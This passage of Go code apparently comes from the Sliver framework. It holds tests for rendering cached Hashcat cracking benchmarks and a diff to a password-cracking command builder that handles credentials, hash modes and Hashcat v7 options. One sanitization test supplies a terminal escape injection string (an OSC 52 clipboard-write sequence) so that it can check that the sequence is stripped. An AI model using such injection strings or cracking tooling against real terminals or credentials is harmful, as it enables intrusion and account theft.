BenchmarkedAt: 1_700_000_000,
|
||||
Online: true,
|
||||
Fresh: true,
|
||||
Benchmarks: map[int32]uint64{
|
||||
22000: 6_000_000_000_000,
|
||||
0: 999,
|
||||
3200: 5_000_000_000,
|
||||
100: 1_000,
|
||||
1400: 3_000_000,
|
||||
1000: 2_000_000,
|
||||
99999: 7_000_000,
|
||||
},
|
||||
},
|
||||
{Name: "alpha", HostUUID: "host-b", Benchmarks: map[int32]uint64{0: 1}},
|
||||
{Name: "alpha", HostUUID: "host-a", Benchmarks: map[int32]uint64{0: 2}},
|
||||
}
|
||||
|
||||
raw := renderCrackBenchmarks(benchmarks, settings.SliverDefault, false)
|
||||
output := ansi.Strip(raw)
|
||||
requireOrderedCrackBenchmarkText(t, output, "host-a", "host-b", "host-z")
|
||||
zetaStart := strings.Index(output, ">>> Cached Crackstation 03 - zeta")
|
||||
if zetaStart < 0 {
|
||||
t.Fatalf("rendered benchmarks are missing sorted zeta section:\n%s", output)
|
||||
}
|
||||
requireOrderedCrackBenchmarkText(t, output[zetaStart:],
|
||||
"MD5", "SHA1", "NTLM", "SHA2-256", "bcrypt $2\\*$, Blowfish (Unix)", "WPA-PBKDF2-PMKID+EAPOL",
|
||||
)
|
||||
|
||||
for _, expected := range []string{
|
||||
"Name", "Host UUID", "Operator", "Connection", "Online", "Cache", "Fresh",
|
||||
"Current Hashcat Version", "v7.1.3", "Benchmark Hashcat Version", "v7.1.2",
|
||||
"Benchmark Schema", "Benchmarked At", "2023-11-14T22:13:20Z", "Cached Modes",
|
||||
"operator-z", "Representative Rates", "Showing representative rates; use --all for every cached mode.",
|
||||
} {
|
||||
if !strings.Contains(output, expected) {
|
||||
t.Errorf("rendered benchmarks do not contain %q:\n%s", expected, output)
|
||||
}
|
||||
}
|
||||
requireCrackBenchmarkRow(t, output, 0, "MD5", "999 H/s")
|
||||
requireCrackBenchmarkRow(t, output, 100, "SHA1", "1.00 kH/s")
|
||||
requireCrackBenchmarkRow(t, output, 1000, "NTLM", "2.00 MH/s")
|
||||
requireCrackBenchmarkRow(t, output, 1400, "SHA2-256", "3.00 MH/s")
|
||||
requireCrackBenchmarkRow(t, output, 3200, "bcrypt $2\\*$, Blowfish (Unix)", "5.00 GH/s")
|
||||
requireCrackBenchmarkRow(t, output, 22000, "WPA-PBKDF2-PMKID+EAPOL", "6.00 TH/s")
|
||||
if hasCrackBenchmarkRow(output, 99999, "Plaintext", "7.00 MH/s") {
|
||||
t.Fatalf("default benchmark view unexpectedly contains non-representative mode 99999:\n%s", output)
|
||||
}
|
||||
|
||||
for _, styled := range []string{
|
||||
console.StyleBoldPrimary.Render(">>> Cached Crackstation 01 - alpha"),
|
||||
console.StyleBoldPrimary.Render("host-a"),
|
||||
console.StyleBoldSuccess.Render("Online"),
|
||||
console.StyleBoldSuccess.Render("Fresh"),
|
||||
console.StyleBold.Render("Representative Rates"),
|
||||
console.StyleGray.Render("Showing representative rates; use --all for every cached mode."),
|
||||
} {
|
||||
if !strings.Contains(raw, styled) {
|
||||
t.Errorf("rendered benchmarks are missing shared Lip Gloss styling %q:\n%s", styled, raw)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackBenchmarksFallsBackToFirstSixModes(t *testing.T) {
|
||||
benchmarks := []*clientpb.CrackBenchmarkSnapshot{{
|
||||
Name: "fallback",
|
||||
Benchmarks: map[int32]uint64{
|
||||
23: 23,
|
||||
10: 10,
|
||||
22: 22,
|
||||
12: 12,
|
||||
20: 20,
|
||||
11: 11,
|
||||
21: 21,
|
||||
},
|
||||
}}
|
||||
|
||||
output := ansi.Strip(renderCrackBenchmarks(benchmarks, settings.SliverDefault, false))
|
||||
requireOrderedCrackBenchmarkText(t, output,
|
||||
"md5($pass.$salt)",
|
||||
"Joomla < 2.5.18",
|
||||
"PostgreSQL",
|
||||
"md5($salt.$pass)",
|
||||
"osCommerce, xt:Commerce",
|
||||
"Juniper NetScreen/SSG (ScreenOS)",
|
||||
)
|
||||
if hasCrackBenchmarkRow(output, 23, "Skype", "23 H/s") {
|
||||
t.Fatalf("fallback benchmark view contains more than six modes:\n%s", output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackBenchmarksAllShowsEveryModeAndUnknownFallback(t *testing.T) {
|
||||
benchmarks := []*clientpb.CrackBenchmarkSnapshot{{
|
||||
Name: "all-modes",
|
||||
Benchmarks: map[int32]uint64{
|
||||
424242: 1_234,
|
||||
36100: 3_600,
|
||||
99999: 7_000_000,
|
||||
0: 500,
|
||||
},
|
||||
}}
|
||||
|
||||
raw := renderCrackBenchmarks(benchmarks, settings.SliverDefault, true)
|
||||
output := ansi.Strip(raw)
|
||||
for _, row := range []struct {
|
||||
mode int32
|
||||
hashType string
|
||||
rate string
|
||||
}{
|
||||
{mode: 0, hashType: "MD5", rate: "500 H/s"},
|
||||
{mode: 36100, hashType: "YESCRYPT", rate: "3.60 kH/s"},
|
||||
{mode: 99999, hashType: "Plaintext", rate: "7.00 MH/s"},
|
||||
{mode: 424242, hashType: "Unknown hash mode", rate: "1.23 kH/s"},
|
||||
} {
|
||||
requireCrackBenchmarkRow(t, output, row.mode, row.hashType, row.rate)
|
||||
}
|
||||
if !strings.Contains(raw, console.StyleBold.Render("All Cached Rates")) {
|
||||
t.Fatalf("all-modes view is missing styled title:\n%s", raw)
|
||||
}
|
||||
if strings.Contains(output, "Showing representative rates") {
|
||||
t.Fatalf("all-modes view unexpectedly contains representative-rate hint:\n%s", output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackBenchmarksSanitizesMetadata(t *testing.T) {
|
||||
benchmarks := []*clientpb.CrackBenchmarkSnapshot{{
|
||||
Name: "alpha\nbeta\x1b]52;c;payload\a",
|
||||
HostUUID: "host\r\nuuid",
|
||||
OperatorName: "op\tname",
|
||||
CurrentHashcatVersion: "current-v7\x00.2",
|
||||
BenchmarkHashcatVersion: "benchmark-v7\x00.1",
|
||||
Benchmarks: map[int32]uint64{0: 1},
|
||||
}}
|
||||
|
||||
raw := renderCrackBenchmarks(benchmarks, settings.SliverDefault, false)
|
||||
output := ansi.Strip(raw)
|
||||
for _, expected := range []string{"alphabeta]52;c;payload", "hostuuid", "opname", "current-v7.2", "benchmark-v7.1"} {
|
||||
if !strings.Contains(output, expected) {
|
||||
t.Errorf("sanitized benchmark metadata does not contain %q:\n%s", expected, output)
|
||||
}
|
||||
}
|
||||
for _, control := range []string{"\x1b]52;", "\a", "\r", "\x00", "\t"} {
|
||||
if strings.Contains(raw, control) {
|
||||
t.Errorf("rendered benchmark metadata retained control text %q:\n%q", control, raw)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackBenchmarksStylesConnectionAndFreshness(t *testing.T) {
|
||||
raw := renderCrackBenchmarks([]*clientpb.CrackBenchmarkSnapshot{
|
||||
{Name: "fresh", Online: true, Fresh: true, Benchmarks: map[int32]uint64{0: 1}},
|
||||
{Name: "stale", Online: false, Fresh: false, Benchmarks: map[int32]uint64{0: 1}},
|
||||
}, settings.SliverDefault, false)
|
||||
|
||||
for _, styled := range []string{
|
||||
console.StyleBoldSuccess.Render("Online"),
|
||||
console.StyleBoldSuccess.Render("Fresh"),
|
||||
console.StyleBoldGray.Render("Offline"),
|
||||
console.StyleBoldWarning.Render("Stale"),
|
||||
} {
|
||||
if !strings.Contains(raw, styled) {
|
||||
t.Errorf("rendered benchmarks are missing status styling %q:\n%s", styled, raw)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackBenchmarksBoundsEveryLine(t *testing.T) {
|
||||
raw := renderCrackBenchmarks([]*clientpb.CrackBenchmarkSnapshot{{
|
||||
Name: strings.Repeat("very-long-crackstation-name-", 8),
|
||||
HostUUID: "12345678-1234-1234-1234-123456789abc",
|
||||
OperatorName: strings.Repeat("operator-", 16),
|
||||
CurrentHashcatVersion: strings.Repeat("current-version-", 10),
|
||||
BenchmarkHashcatVersion: strings.Repeat("benchmark-version-", 10),
|
||||
BenchmarkedAt: 1_700_000_000,
|
||||
Benchmarks: map[int32]uint64{6211: 1_000_000},
|
||||
}}, settings.SliverDefault, true)
|
||||
|
||||
for lineNumber, line := range strings.Split(raw, "\n") {
|
||||
if width := ansi.StringWidth(line); width > crackBenchmarkOutputWidth {
|
||||
t.Errorf("rendered line %d width = %d, want <= %d:\n%s", lineNumber+1, width, crackBenchmarkOutputWidth, line)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(ansi.Strip(raw), "…") {
|
||||
t.Fatalf("long benchmark heading was not truncated:\n%s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatCachedBenchmarkTime(t *testing.T) {
|
||||
if got := formatCachedBenchmarkTime(0); got != "-" {
|
||||
t.Fatalf("zero benchmark time = %q, want -", got)
|
||||
}
|
||||
if got := formatCachedBenchmarkTime(1_700_000_000); got != "2023-11-14T22:13:20Z" {
|
||||
t.Fatalf("benchmark time = %q, want UTC RFC3339", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackBenchmarksHandlesNilAndEmptyData(t *testing.T) {
|
||||
for _, benchmarks := range [][]*clientpb.CrackBenchmarkSnapshot{nil, {nil, nil}} {
|
||||
if got := renderCrackBenchmarks(benchmarks, settings.SliverDefault, false); got != "" {
|
||||
t.Fatalf("renderCrackBenchmarks(%#v) = %q, want empty output", benchmarks, got)
|
||||
}
|
||||
}
|
||||
|
||||
raw := renderCrackBenchmarks([]*clientpb.CrackBenchmarkSnapshot{{
|
||||
HostUUID: "host-only",
|
||||
}}, settings.SliverDefault, false)
|
||||
output := ansi.Strip(raw)
|
||||
for _, expected := range []string{
|
||||
">>> Cached Crackstation 01 - host-only",
|
||||
"No benchmark rates cached",
|
||||
"Representative Rates",
|
||||
} {
|
||||
if !strings.Contains(output, expected) {
|
||||
t.Errorf("empty benchmark snapshot does not contain %q:\n%s", expected, output)
|
||||
}
|
||||
}
|
||||
|
||||
unknown := ansi.Strip(renderCrackBenchmarks([]*clientpb.CrackBenchmarkSnapshot{{}}, settings.SliverDefault, false))
|
||||
if !strings.Contains(unknown, ">>> Cached Crackstation 01 - Unknown crackstation") {
|
||||
t.Fatalf("missing unknown-station identity fallback:\n%s", unknown)
|
||||
}
|
||||
}
|
||||
|
||||
type crackBenchmarksRPCCapture struct {
|
||||
rpcpb.SliverRPCClient
|
||||
response *clientpb.CrackBenchmarkSnapshots
|
||||
err error
|
||||
benchmarkCalls int
|
||||
crackstationsCalls int
|
||||
hadDeadline bool
|
||||
}
|
||||
|
||||
func (capture *crackBenchmarksRPCCapture) CrackstationBenchmarks(ctx context.Context, _ *commonpb.Empty, _ ...grpc.CallOption) (*clientpb.CrackBenchmarkSnapshots, error) {
|
||||
capture.benchmarkCalls++
|
||||
_, capture.hadDeadline = ctx.Deadline()
|
||||
return capture.response, capture.err
|
||||
}
|
||||
|
||||
func (capture *crackBenchmarksRPCCapture) Crackstations(_ context.Context, _ *commonpb.Empty, _ ...grpc.CallOption) (*clientpb.Crackstations, error) {
|
||||
capture.crackstationsCalls++
|
||||
return &clientpb.Crackstations{}, nil
|
||||
}
|
||||
|
||||
func TestCrackBenchmarksCommandUsesDedicatedRPCWithDeadline(t *testing.T) {
|
||||
capture := &crackBenchmarksRPCCapture{response: &clientpb.CrackBenchmarkSnapshots{Snapshots: []*clientpb.CrackBenchmarkSnapshot{{
|
||||
Name: "station",
|
||||
HostUUID: "host-id",
|
||||
Benchmarks: map[int32]uint64{0: 1},
|
||||
}}}}
|
||||
con := console.NewConsole(false)
|
||||
emptyCommands := func() *cobra.Command { return &cobra.Command{Use: "test"} }
|
||||
if err := console.StartClient(con, capture, nil, nil, emptyCommands, emptyCommands, false, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
root := Commands(con)[0]
|
||||
root.SetArgs([]string{"benchmarks", "--timeout=1", "-a"})
|
||||
root.SilenceErrors = true
|
||||
root.SilenceUsage = true
|
||||
if err := root.Execute(); err != nil {
|
||||
t.Fatalf("execute crack benchmarks: %v", err)
|
||||
}
|
||||
if capture.benchmarkCalls != 1 {
|
||||
t.Fatalf("CrackstationBenchmarks calls = %d, want 1", capture.benchmarkCalls)
|
||||
}
|
||||
if capture.crackstationsCalls != 0 {
|
||||
t.Fatalf("Crackstations calls = %d, want 0", capture.crackstationsCalls)
|
||||
}
|
||||
if !capture.hadDeadline {
|
||||
t.Fatal("CrackstationBenchmarks context did not inherit --timeout")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackBenchmarksCommandHandlesNilResponse(t *testing.T) {
|
||||
capture := &crackBenchmarksRPCCapture{}
|
||||
con := console.NewConsole(false)
|
||||
emptyCommands := func() *cobra.Command { return &cobra.Command{Use: "test"} }
|
||||
if err := console.StartClient(con, capture, nil, nil, emptyCommands, emptyCommands, false, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
root := Commands(con)[0]
|
||||
root.SetArgs([]string{"benchmarks", "--timeout=1"})
|
||||
root.SilenceErrors = true
|
||||
root.SilenceUsage = true
|
||||
if err := root.Execute(); err != nil {
|
||||
t.Fatalf("execute crack benchmarks with nil response: %v", err)
|
||||
}
|
||||
if capture.benchmarkCalls != 1 {
|
||||
t.Fatalf("CrackstationBenchmarks calls = %d, want 1", capture.benchmarkCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func requireOrderedCrackBenchmarkText(t *testing.T, output string, values ...string) {
|
||||
t.Helper()
|
||||
remaining := output
|
||||
for _, value := range values {
|
||||
index := strings.Index(remaining, value)
|
||||
if index < 0 {
|
||||
t.Fatalf("rendered benchmarks do not contain %q in order:\n%s", value, output)
|
||||
}
|
||||
remaining = remaining[index+len(value):]
|
||||
}
|
||||
}
|
||||
|
||||
func requireCrackBenchmarkRow(t *testing.T, output string, mode int32, hashType string, rate string) {
|
||||
t.Helper()
|
||||
if !hasCrackBenchmarkRow(output, mode, hashType, rate) {
|
||||
t.Fatalf("rendered benchmarks are missing mode %d, hash type %q, rate %q:\n%s", mode, hashType, rate, output)
|
||||
}
|
||||
}
|
||||
|
||||
func hasCrackBenchmarkRow(output string, mode int32, hashType string, rate string) bool {
|
||||
pattern := `(?m)^[ \t]*` + regexp.QuoteMeta(strconv.FormatInt(int64(mode), 10)) + `[ \t]+` +
|
||||
regexp.QuoteMeta(hashType) + `[ \t]+` + regexp.QuoteMeta(rate) + `[ \t]*$`
|
||||
return regexp.MustCompile(pattern).MatchString(output)
|
||||
}
|
||||
@@ -2,6 +2,8 @@ package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
@@ -10,6 +12,38 @@ import (
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
const maxKeyboardLayoutMappingBytes int64 = 1 << 20
|
||||
|
||||
func readKeyboardLayoutMapping(path string) ([]byte, error) {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open keyboard layout mapping %q: %w", path, err)
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("stat keyboard layout mapping %q: %w", path, err)
|
||||
}
|
||||
if !info.Mode().IsRegular() {
|
||||
return nil, fmt.Errorf("keyboard layout mapping %q is not a regular file", path)
|
||||
}
|
||||
if info.Size() > maxKeyboardLayoutMappingBytes {
|
||||
return nil, fmt.Errorf("keyboard layout mapping %q exceeds %d bytes", path, maxKeyboardLayoutMappingBytes)
|
||||
}
|
||||
data, err := io.ReadAll(io.LimitReader(file, maxKeyboardLayoutMappingBytes+1))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read keyboard layout mapping %q: %w", path, err)
|
||||
}
|
||||
if int64(len(data)) > maxKeyboardLayoutMappingBytes {
|
||||
return nil, fmt.Errorf("keyboard layout mapping %q exceeds %d bytes", path, maxKeyboardLayoutMappingBytes)
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("keyboard layout mapping %q is empty", path)
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||
if len(args) > 0 {
|
||||
return true
|
||||
@@ -17,16 +51,25 @@ func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||
|
||||
hasFlag := false
|
||||
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
|
||||
if flag.Changed && flag.Name != "timeout" {
|
||||
hasFlag = true
|
||||
if !flag.Changed || flag.Name == "timeout" {
|
||||
return
|
||||
}
|
||||
// An explicitly disabled standalone mode is a no-op, not a crack job.
|
||||
switch flag.Name {
|
||||
case "backend-info", "keyspace", "total-candidates", "identify-mode", "hash-info":
|
||||
enabled, _ := cmd.Flags().GetBool(flag.Name)
|
||||
if !enabled {
|
||||
return
|
||||
}
|
||||
}
|
||||
hasFlag = true
|
||||
})
|
||||
return hasFlag
|
||||
}
|
||||
|
||||
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
|
||||
flags := cmd.Flags()
|
||||
req := &clientpb.CrackCommand{}
|
||||
req := &clientpb.CrackCommand{HashType: clientpb.HashType_INVALID}
|
||||
|
||||
if flags.Changed("attack-mode") {
|
||||
raw, _ := flags.GetString("attack-mode")
|
||||
@@ -45,12 +88,39 @@ func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackComman
|
||||
}
|
||||
req.HashType = hashType
|
||||
}
|
||||
if flags.Changed("hash-mode") {
|
||||
hashMode, _ := flags.GetUint32("hash-mode")
|
||||
req.HashMode = &hashMode
|
||||
}
|
||||
|
||||
hashes, _ := flags.GetStringSlice("hash")
|
||||
hashes, _ := flags.GetStringArray("hash")
|
||||
if len(args) > 0 {
|
||||
hashes = append(hashes, args...)
|
||||
}
|
||||
req.Hashes = hashes
|
||||
req.CredentialIDs, _ = flags.GetStringArray("credential")
|
||||
for index, credentialID := range req.CredentialIDs {
|
||||
req.CredentialIDs[index] = strings.TrimSpace(credentialID)
|
||||
if req.CredentialIDs[index] == "" {
|
||||
return nil, fmt.Errorf("--credential cannot be empty")
|
||||
}
|
||||
}
|
||||
req.CredentialCollection, _ = flags.GetString("credential-collection")
|
||||
req.CredentialCollection = strings.TrimSpace(req.CredentialCollection)
|
||||
req.IncludeCrackedCredentials, _ = flags.GetBool("include-cracked-credentials")
|
||||
if req.IncludeCrackedCredentials && len(req.CredentialIDs) == 0 && req.CredentialCollection == "" {
|
||||
return nil, fmt.Errorf("--include-cracked-credentials requires --credential or --credential-collection")
|
||||
}
|
||||
req.PositionalArguments, _ = flags.GetStringArray("input")
|
||||
req.Crackstation, _ = flags.GetString("crackstation")
|
||||
req.Crackstation = strings.TrimSpace(req.Crackstation)
|
||||
if stdin, _ := flags.GetString("stdin"); stdin != "" {
|
||||
req.Stdin = []byte(stdin)
|
||||
}
|
||||
|
||||
if flags.Changed("segment-size") {
|
||||
return nil, fmt.Errorf("--segment-size was removed in Hashcat v7")
|
||||
}
|
||||
|
||||
req.Quiet, _ = flags.GetBool("quiet")
|
||||
req.HexCharset, _ = flags.GetBool("hex-charset")
|
||||
@@ -58,10 +128,19 @@ func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackComman
|
||||
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
|
||||
req.Force, _ = flags.GetBool("force")
|
||||
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
|
||||
req.AdviceDisable, _ = flags.GetBool("advice-disable")
|
||||
req.Status, _ = flags.GetBool("status")
|
||||
req.StatusJSON, _ = flags.GetBool("status-json")
|
||||
req.StatusTimer, _ = flags.GetUint32("status-timer")
|
||||
if flags.Changed("status-timer") {
|
||||
value := req.StatusTimer
|
||||
req.StatusTimerV7 = &value
|
||||
}
|
||||
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
|
||||
if flags.Changed("stdin-timeout-abort") {
|
||||
value := req.StdinTimeoutAbort
|
||||
req.StdinTimeoutAbortV7 = &value
|
||||
}
|
||||
req.MachineReadable, _ = flags.GetBool("machine-readable")
|
||||
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
|
||||
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
|
||||
@@ -81,7 +160,13 @@ func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackComman
|
||||
if raw, _ := flags.GetString("restore-file"); raw != "" {
|
||||
req.RestoreFile = []byte(raw)
|
||||
}
|
||||
req.RestorePosition, _ = flags.GetBool("restore-position")
|
||||
req.RestoreShowCommand, _ = flags.GetBool("restore-show-command")
|
||||
if req.RestoreShowCommand && (req.Restore || req.RestorePosition) { //nolint:staticcheck // Restore is required for legacy command compatibility.
|
||||
return nil, fmt.Errorf("--restore-show-command and restore-position modes are mutually exclusive")
|
||||
}
|
||||
|
||||
req.Outfile, _ = flags.GetString("outfile")
|
||||
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
|
||||
for _, raw := range formats {
|
||||
format, err := parseCrackOutfileFormat(raw)
|
||||
@@ -91,11 +176,15 @@ func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackComman
|
||||
req.OutfileFormat = append(req.OutfileFormat, format)
|
||||
}
|
||||
}
|
||||
req.OutfileJSON, _ = flags.GetBool("outfile-json")
|
||||
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
|
||||
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
|
||||
if flags.Changed("outfile-check-timer") {
|
||||
value := req.OutfileCheckTimer
|
||||
req.OutfileCheckTimerV7 = &value
|
||||
}
|
||||
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
|
||||
req.Separator, _ = flags.GetString("separator")
|
||||
req.Stdout, _ = flags.GetBool("stdout")
|
||||
req.Show, _ = flags.GetBool("show")
|
||||
req.Left, _ = flags.GetBool("left")
|
||||
req.Username, _ = flags.GetBool("username")
|
||||
@@ -108,48 +197,107 @@ func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackComman
|
||||
|
||||
if flags.Changed("encoding-from") {
|
||||
raw, _ := flags.GetString("encoding-from")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if enc, err := parseCrackEncoding(raw); err == nil {
|
||||
req.EncodingFrom = enc
|
||||
}
|
||||
if _, err := strconv.ParseInt(raw, 10, 32); err != nil {
|
||||
req.EncodingFromName = raw
|
||||
}
|
||||
req.EncodingFrom = enc
|
||||
}
|
||||
if flags.Changed("encoding-to") {
|
||||
raw, _ := flags.GetString("encoding-to")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if enc, err := parseCrackEncoding(raw); err == nil {
|
||||
req.EncodingTo = enc
|
||||
}
|
||||
if _, err := strconv.ParseInt(raw, 10, 32); err != nil {
|
||||
req.EncodingToName = raw
|
||||
}
|
||||
req.EncodingTo = enc
|
||||
}
|
||||
|
||||
req.DebugMode, _ = flags.GetUint32("debug-mode")
|
||||
req.DebugFile, _ = flags.GetString("debug-file")
|
||||
req.InductionDir, _ = flags.GetString("induction-dir")
|
||||
req.OutfileCheckDir, _ = flags.GetString("outfile-check-dir")
|
||||
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
|
||||
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
|
||||
if flags.Changed("hccapx-message-pair") {
|
||||
value := req.HccapxMessagePair
|
||||
req.HccapxMessagePairV7 = &value
|
||||
}
|
||||
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
|
||||
if flags.Changed("nonce-error-corrections") {
|
||||
value := req.NonceErrorCorrections
|
||||
req.NonceErrorCorrectionsV7 = &value
|
||||
}
|
||||
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
|
||||
req.KeyboardLayoutMapping = []byte(raw)
|
||||
mapping, err := readKeyboardLayoutMapping(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.KeyboardLayoutMapping = mapping
|
||||
}
|
||||
req.TruecryptKeyfiles, _ = flags.GetString("truecrypt-keyfiles")
|
||||
req.VeracryptKeyfiles, _ = flags.GetString("veracrypt-keyfiles")
|
||||
if flags.Changed("veracrypt-pim-start") {
|
||||
value, _ := flags.GetUint32("veracrypt-pim-start")
|
||||
req.VeracryptPimStart = &value
|
||||
}
|
||||
if flags.Changed("veracrypt-pim-stop") {
|
||||
value, _ := flags.GetUint32("veracrypt-pim-stop")
|
||||
req.VeracryptPimStop = &value
|
||||
}
|
||||
|
||||
req.Benchmark, _ = flags.GetBool("benchmark")
|
||||
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
|
||||
req.BenchmarkMin, _ = flags.GetUint32("benchmark-min")
|
||||
if flags.Changed("benchmark-max") {
|
||||
value, _ := flags.GetUint32("benchmark-max")
|
||||
req.BenchmarkMax = &value
|
||||
}
|
||||
req.SpeedOnly, _ = flags.GetBool("speed-only")
|
||||
req.ProgressOnly, _ = flags.GetBool("progress-only")
|
||||
req.SegmentSize, _ = flags.GetUint32("segment-size")
|
||||
req.PipelineStats, _ = flags.GetBool("pipeline-stats")
|
||||
req.TaskTimeBreakdown, _ = flags.GetBool("task-time-breakdown")
|
||||
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
|
||||
if flags.Changed("bitmap-min") {
|
||||
value := req.BitmapMin
|
||||
req.BitmapMinV7 = &value
|
||||
}
|
||||
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
|
||||
if flags.Changed("bitmap-max") {
|
||||
value := req.BitmapMax
|
||||
req.BitmapMaxV7 = &value
|
||||
}
|
||||
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
|
||||
req.HookThreads, _ = flags.GetUint32("hook-threads")
|
||||
req.HashInfo, _ = flags.GetBool("hash-info")
|
||||
if req.HashInfo {
|
||||
req.HashInfoLevel = 1
|
||||
}
|
||||
if flags.Changed("hash-info-level") {
|
||||
req.HashInfoLevel, _ = flags.GetUint32("hash-info-level")
|
||||
}
|
||||
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
|
||||
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
|
||||
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
|
||||
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
|
||||
req.BackendInfo, _ = flags.GetBool("backend-info")
|
||||
if req.BackendInfo {
|
||||
req.BackendInfoLevel = 1
|
||||
}
|
||||
if flags.Changed("backend-info-level") {
|
||||
req.BackendInfoLevel, _ = flags.GetUint32("backend-info-level")
|
||||
}
|
||||
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
|
||||
req.BackendDevicesVirtMulti, _ = flags.GetUint32("backend-devices-virtmulti")
|
||||
req.BackendDevicesVirtHost, _ = flags.GetUint32("backend-devices-virthost")
|
||||
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
|
||||
req.MetalCompilerRuntime, _ = flags.GetUint32("metal-compiler-runtime")
|
||||
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disable")
|
||||
if !req.MultiplyAccelDisabled {
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||
}
|
||||
|
||||
if flags.Changed("workload-profile") {
|
||||
raw, _ := flags.GetString("workload-profile")
|
||||
@@ -167,37 +315,114 @@ func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackComman
|
||||
req.SpinDamp, _ = flags.GetUint32("spin-damp")
|
||||
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
|
||||
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
|
||||
if flags.Changed("hwmon-temp-abort") {
|
||||
value := req.HwmonTempAbort
|
||||
req.HwmonTempAbortV7 = &value
|
||||
}
|
||||
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
|
||||
if flags.Changed("scrypt-tmto") {
|
||||
value := req.ScryptTMTO
|
||||
req.ScryptTMTOV7 = &value
|
||||
}
|
||||
req.Skip, _ = flags.GetUint64("skip")
|
||||
req.Limit, _ = flags.GetUint64("limit")
|
||||
req.Keyspace, _ = flags.GetBool("keyspace")
|
||||
req.TotalCandidates, _ = flags.GetBool("total-candidates")
|
||||
req.Lookup, _ = flags.GetString("lookup")
|
||||
req.DynamicX, _ = flags.GetBool("dynamic-x")
|
||||
req.SeekDBPath, _ = flags.GetString("seekdb-path")
|
||||
|
||||
if raw, _ := flags.GetString("rules-file"); raw != "" {
|
||||
req.RulesFile = []byte(raw)
|
||||
req.RuleLeft, _ = flags.GetString("rule-left")
|
||||
req.RuleRight, _ = flags.GetString("rule-right")
|
||||
if values, _ := flags.GetStringArray("rules-file"); len(values) > 0 {
|
||||
req.RulesFile = []byte(values[0])
|
||||
for _, value := range values {
|
||||
req.RulesFilesV7 = append(req.RulesFilesV7, []byte(value))
|
||||
}
|
||||
}
|
||||
req.GenerateRules, _ = flags.GetUint32("generate-rules")
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-func-min")
|
||||
